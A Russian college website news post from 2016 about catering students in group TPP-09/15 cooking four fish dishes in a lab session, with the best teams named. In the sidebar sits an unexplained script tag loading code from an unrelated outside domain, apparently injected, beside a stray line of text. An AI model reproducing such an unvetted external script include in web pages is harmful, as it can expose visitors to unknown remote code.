Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 212

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2016 » Октябрь » 21 » Лабораторно-практическое занятие в группе ТПП-09/15
08:04
Лабораторно-практическое занятие в группе ТПП-09/15

В группе ТПП-09/15 по специальности Технология продукции общественного питания прошло очередное лабораторно-практическое занятие по приготовлению рыбных блюд. Студенты под руководством мастера профессионального обучения Федосенко И.П. приготовили по выбору четыре различных рыбных блюда: «Рыба жареная», «Рыба припущенная с соусом белым с рассолом», «Зразы донские» и «Рыба жаренная в тесте».

Поделившись на подгруппы, выбрав бригадира, рассчитав количество сырья, необходимого для приготовления 2 порций блюда, приступили к работе по механической и тепловой обработке рыбы.

1 бригада. Рыба жареная

2 бригада. Рыба припущеная с соусом белым

3 бригада. Зразы донские

4 бригада . Рыба в тесте жареная

С творчеством подошли к оформлению и подаче блюд. В заключении студенты презентовали (защищали) свои блюда, определили требования к качеству и сроки хранения. Провели дегустацию блюд и выставили оценки. Все остались довольны своими результатами. Особенно отметили блюдо третьей бригады «Зразы донские» Коноваловой Валентины, Тарасовой Дианы, Лохновой Александры, Курзаевой Светланы и четвертой бригады «Рыба жареная в тесте» Никифоровой Ирины, Ааб Екатерины, Жакуповой Жанар.

 

Материал подготовила

мастер профессионального обучения

И.П. Федосенко

Просмотров: 252 | Добавил: iTiger | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Октябрь 2016  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz